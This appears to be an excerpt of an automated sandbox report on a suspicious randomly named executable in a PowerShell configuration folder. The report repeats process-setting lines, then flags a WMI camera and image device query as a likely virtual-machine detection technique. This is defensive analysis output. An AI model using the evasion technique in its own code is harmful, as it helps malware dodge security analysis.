Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
